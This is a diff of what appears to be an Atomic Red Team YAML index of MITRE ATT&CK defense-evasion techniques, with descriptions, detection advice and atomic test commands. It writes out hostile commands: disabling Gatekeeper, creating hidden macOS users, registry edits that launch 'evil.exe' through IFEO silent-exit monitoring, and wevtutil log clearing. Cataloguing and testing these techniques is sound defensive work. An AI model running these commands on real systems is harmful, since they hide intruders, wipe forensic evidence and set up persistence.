identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: File Deletion description: |- Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process. - There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools) - - Detection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe. - - Platforms: Linux, Windows, macOS - - Data Sources: Binary file metadata, File monitoring, Process command-line parameters - - Defense Bypassed: Host forensic analysis - - Permissions Required: User - - Contributors: Walker Johnson - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion + There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1107 + - external_id: T1107 + url: https://attack.mitre.org/techniques/T1107 source_name: mitre-attack - external_id: T1107 - - description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools + - url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/ + description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.' source_name: Trend Micro APT Attack Tools - url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:17.915Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - Windows - - macOS + x_mitre_version: '1.0' + x_mitre_contributors: + - Walker Johnson x_mitre_data_sources: - - Binary file metadata - File monitoring - Process command-line parameters + - Binary file metadata x_mitre_defense_bypassed: - Host forensic analysis + x_mitre_detection: It may be uncommon for events related to benign command-line + functions such as DEL or third-party utilities or tools to be found in an + environment, depending on the user base and how systems are typically used. + Monitoring for command-line deletion functions to correlate with binaries + or other files that an adversary may drop and remove may lead to detection + of malicious activity. Another good practice is monitoring for known deletion + and secure deletion tools that are not already on systems within an enterprise + network that an adversary could introduce. Some monitoring tools may collect + command-line arguments, but may not capture DEL commands since DEL is a native + function within cmd.exe. x_mitre_permissions_required: - User - x_mitre_contributors: - - Walker Johnson - id: attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:17.915Z' identifier: T1107 atomic_tests: - name: Victim configuration @@ -4789,6 +4917,8 @@ defense-evasion: ' T1144: technique: + id: attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Gatekeeper Bypass description: "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. @@ -4810,49 +4940,47 @@ defense-evasion: it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a - quarantine-savvy application. (Citation: Bypassing Gatekeeper)\n\nDetection: - Monitoring for the removal of the com.apple.quarantine flag by - a user instead of the operating system is a suspicious action and should be - examined further.\n\nPlatforms: macOS\n\nDefense Bypassed: Application whitelisting, - Anti-virus\n\nPermissions Required: User, Administrator" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion + quarantine-savvy application. (Citation: Bypassing Gatekeeper)" external_references: - - url: https://attack.mitre.org/wiki/Technique/T1144 + - external_id: T1144 + url: https://attack.mitre.org/techniques/T1144 source_name: mitre-attack - external_id: T1144 - - description: Patrick Wardle. (2014, September). Methods of Malware Persistence + - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. source_name: Methods of Mac Malware Persistence - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - - description: Rich Trouton. (2012, November 20). Clearing the quarantine extended + - url: https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/ + description: Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017. source_name: Clearing quarantine attribute - url: https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/ - - description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application + - url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update + description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. source_name: OceanLotus for OS X - url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update - - description: Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. + - url: https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/ + description: Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017. source_name: Bypassing Gatekeeper - url: https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_version: '1.0' + x_mitre_detection: Monitoring for the removal of the com.apple.quarantine + flag by a user instead of the operating system is a suspicious action and + should be examined further. x_mitre_defense_bypassed: - Application whitelisting - Anti-virus x_mitre_permissions_required: - User - Administrator - id: attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - macOS type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1144 atomic_tests: - name: Gatekeeper Bypass @@ -4873,46 +5001,50 @@ defense-evasion: sudo spctl --master-disable T1148: technique: + id: attack-pattern--086952c4-5b90-4185-b573-02bad8e11953 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: HISTCONTROL - description: |- - The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". HISTCONTROL can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands. - - Detection: Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL environment variable is also suspicious. - - Platforms: Linux, macOS - - Data Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable - - Defense Bypassed: Log analysis, Host forensic analysis - - Permissions Required: User - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion + description: The HISTCONTROL environment variable keeps track of + what should be saved by the history command and eventually into + the ~/.bash_history file when a user logs out. This setting can + be configured to ignore commands that start with a space by simply setting + it to "ignorespace". HISTCONTROL can also be set to ignore duplicate + commands by setting it to "ignoredups". In some Linux systems, this is set + by default to "ignoreboth" which covers both of the previous examples. This + means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL + does not exist by default on macOS, but can be set by the user and will be + respected. Adversaries can use this to operate without leaving traces by simply + prepending a space to all of their terminal commands. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1148 + - external_id: T1148 + url: https://attack.mitre.org/techniques/T1148 source_name: mitre-attack - external_id: T1148 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - - Process Monitoring + - Process monitoring - Authentication logs - File monitoring - Environment variable x_mitre_defense_bypassed: - Log analysis - Host forensic analysis + x_mitre_detection: Correlating a user session with a distinct lack of new commands + in their .bash_history can be a clue to suspicious behavior. + Additionally, users checking or changing their HISTCONTROL environment + variable is also suspicious. + x_mitre_platforms: + - Linux + - macOS x_mitre_permissions_required: - User - id: attack-pattern--086952c4-5b90-4185-b573-02bad8e11953 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1148 atomic_tests: - name: Disable history collection @@ -4948,81 +5080,68 @@ defense-evasion: 4. whoami > recon.txt T1158: technique: + id: attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Hidden Files and Directories - description: "To prevent normal users from accidentally changing special files - on a system, most operating systems have the concept of a ‘hidden’ file. These - files don’t show up when a user browses the file system with a GUI or when - using normal commands on the command line. Users must explicitly ask to show - the hidden files either via a series of Graphical User Interface (GUI) prompts - or with command line switches (dir /a for Windows and ls - –a for Linux and macOS).\n\n===Windows===\n\nUsers can mark specific - files as hidden by using the attrib.exe binary. Simply do attrib +h - filename to mark a file or folder as hidden. Similarly, the “+s” marks - a file as a system file and the “+r” flag marks the file as read only. Like - most windows binaries, the attrib.exe binary provides the ability to apply - these changes recursively “/S”.\n\n===Linux/Mac===\n\nUsers can mark specific - files as hidden simply by putting a “.” as the first character in the file - or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac - Malware). Files and folder that start with a period, ‘.’, are by default hidden - from being viewed in the Finder application and standard command-line utilities - like “ls”. Users must specifically change settings to have these files viewable. - For command line usages, there is typically a flag to see all files (including - hidden ones). To view these files in the Finder Application, the following - command must be executed: defaults write com.apple.finder AppleShowAllFiles - YES, and then relaunch the Finder Application.\n\n===Mac===\n\nFiles - on macOS can be marked with the UF_HIDDEN flag which prevents them from being - seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: - WireLurker).\nMany applications create these hidden files and folders to store - information so that it doesn’t clutter up the user’s workspace. For example, - SSH utilities create a .ssh folder that’s hidden and contains the user’s known - hosts and keys. \n\nAdversaries can use this to their advantage to hide files - and folders anywhere on the system for persistence and evading a typical user - or system analysis that does not incorporate investigation of hidden files.\n\nDetection: - Monitor the file system and shell commands for files being created with a - leading \".\" and the Windows command-line use of attrib.exe to add the hidden - attribute.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, - Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Host - forensic analysis\n\nPermissions Required: User" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: persistence + description: |- + To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS). + + Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files. + + ### Windows + + Users can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”. + + ### Linux/Mac + + Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application. + + ### Mac + + Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). + Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1158 + - external_id: T1158 + url: https://attack.mitre.org/techniques/T1158 source_name: mitre-attack - external_id: T1158 - - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. source_name: Sofacy Komplex Trojan - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ - - description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated + - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ + description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017. source_name: Antiquated Mac Malware - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ - - description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. + - url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf + description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.' source_name: WireLurker - url: https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Process Monitoring + - Process monitoring - Process command-line parameters + x_mitre_detection: Monitor the file system and shell commands for files being + created with a leading "." and the Windows command-line use of attrib.exe + to add the hidden attribute. x_mitre_defense_bypassed: - Host forensic analysis x_mitre_permissions_required: - User - id: attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1158 atomic_tests: - name: Create a hidden file in a hidden directory @@ -5221,43 +5340,46 @@ defense-evasion: ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname T1147: technique: + id: attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Hidden Users - description: |- - Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit). - - Detection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs. - - Platforms: macOS - - Data Sources: Authentication logs, File monitoring - - Permissions Required: Administrator, root - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion + description: 'Every user account in macOS has a userID associated with it. When + creating a user, you can specify the userID for that account. There is a property + value in /Library/Preferences/com.apple.loginwindow called Hide500Users + that prevents users with userIDs 500 and lower from appearing at the login + screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) + technique with a userID under 500 and enabling this property (setting it to + Yes), an adversary can hide their user accounts much more easily: sudo + dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX + Pirrit).' external_references: - - url: https://attack.mitre.org/wiki/Technique/T1147 + - external_id: T1147 + url: https://attack.mitre.org/techniques/T1147 source_name: mitre-attack - external_id: T1147 - - description: Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved + - url: https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty + description: Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 8, 2017. source_name: Cybereason OSX Pirrit - url: https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - Authentication logs - File monitoring + x_mitre_detection: This technique prevents the new user from showing up at the + log in screen, but all of the other signs of a new user still exist. The user + still gets a home directory and will appear in the authentication logs. + x_mitre_platforms: + - macOS x_mitre_permissions_required: - Administrator - root - id: attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1147 atomic_tests: - name: Hidden Users @@ -5278,73 +5400,88 @@ defense-evasion: ' T1183: technique: + id: attack-pattern--62166220-e498-410f-a90a-19d4339d4e99 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Image File Execution Options Injection description: |- - Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, any executable file present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010) - - IFEOs can be set directly via the Registry or in Global Flags via the Gflags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger Values in the Registry under HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options/ and HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010) + Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010) - Similar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Engame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation. - - Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) + IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010) - Detection: Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) + IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) - Monitor the IFEOs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) + An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018) - Platforms: Windows + * reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 + * reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 + * reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe" - Data Sources: Process Monitoring, Windows Registry, Windows event logs + Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation. - Permissions Required: Administrator, SYSTEM - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1183 + - external_id: T1183 + url: https://attack.mitre.org/techniques/T1183 source_name: mitre-attack - external_id: T1183 - - description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). + - url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/ + description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017. source_name: Microsoft Dev Blog IFEO Mar 2010 - url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/ - - description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December + - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview + description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017. source_name: Microsoft GFlags Mar 2017 - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview - - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - source_name: Engame Process Injection July 2017 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - - description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. + - url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml + description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017. source_name: FSecure Hupigon - url: https://www.f-secure.com/v-descs/backdoor%20w32%20hupigon%20emv.shtml - - description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December + - url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2 + description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017. source_name: Symantec Ushedix June 2008 - url: https://www.symantec.com/security%20response/writeup.jsp?docid=2008-062807-2501-99&tabid=2 + - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit + description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent + Process Exit. Retrieved June 27, 2018. + source_name: Microsoft Silent Process Exit NOV 2017 + - url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/ + description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image + File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018. + source_name: Oddvar Moe IFEO APR 2018 + - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + source_name: Endgame Process Injection July 2017 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-01-16T16:13:52.465Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Oddvar Moe, @oddvarmoe x_mitre_data_sources: - - Process Monitoring + - Process monitoring - Windows Registry - Windows event logs + x_mitre_defense_bypassed: + - Autoruns Analysis + x_mitre_detection: |- + Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) + + Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) x_mitre_permissions_required: - Administrator - SYSTEM - id: attack-pattern--62166220-e498-410f-a90a-19d4339d4e99 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2018-01-16T16:13:52.465Z' identifier: T1183 atomic_tests: - name: IFEO Add Debugger @@ -5395,43 +5532,80 @@ defense-evasion: ' T1070: technique: + id: attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Indicator Removal on Host - description: |- - Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred. - - Detection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms. - - Platforms: Linux, macOS, Windows - - Data Sources: File monitoring, Process command-line parameters, Process monitoring - - Defense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion + description: "Adversaries may delete or alter generated artifacts on a host + system, including logs and potentially captured files such as quarantined + malware. Locations and format of logs will vary, but typical organic system + logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) + and /var/log/* .\n\nActions that interfere with eventing and other notifications + that can be used to detect intrusion activity may compromise the integrity + of security solutions, causing events to go unreported. They may also make + forensic analysis and incident response more difficult due to lack of sufficient + data to determine what occurred.\n\n### Clear Windows Event Logs\n\nWindows + event logs are a record of a computer's alerts and notifications. Microsoft + defines an event as \"any significant occurrence in the system or in a program + that requires users to be notified or an entry added to a log.\" There are + three system-defined sources of Events: System, Application, and Security.\n + \nAdversaries performing actions related to account management, account logon + and directory service access, etc. may choose to clear the events in order + to hide their activities.\n\nThe event logs can be cleared with the following + utility commands:\n\n* wevtutil cl system\n* wevtutil cl + application\n* wevtutil cl security\n\nLogs may also be + cleared through other mechanisms, such as [PowerShell](https://attack.mitre.org/techniques/T1086)." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1070 + - external_id: T1070 + url: https://attack.mitre.org/techniques/T1070 source_name: mitre-attack - external_id: T1070 + - external_id: CAPEC-93 + url: https://capec.mitre.org/data/definitions/93.html + source_name: capec + - url: https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil + description: Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July + 2, 2018. + source_name: Microsoft wevtutil Oct 2017 + - url: https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx + description: Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, + 2018. + source_name: Microsoft EventLog.Clear + - url: https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog + description: Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018. + source_name: Microsoft Clear-EventLog object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:55.892Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Ed Williams, 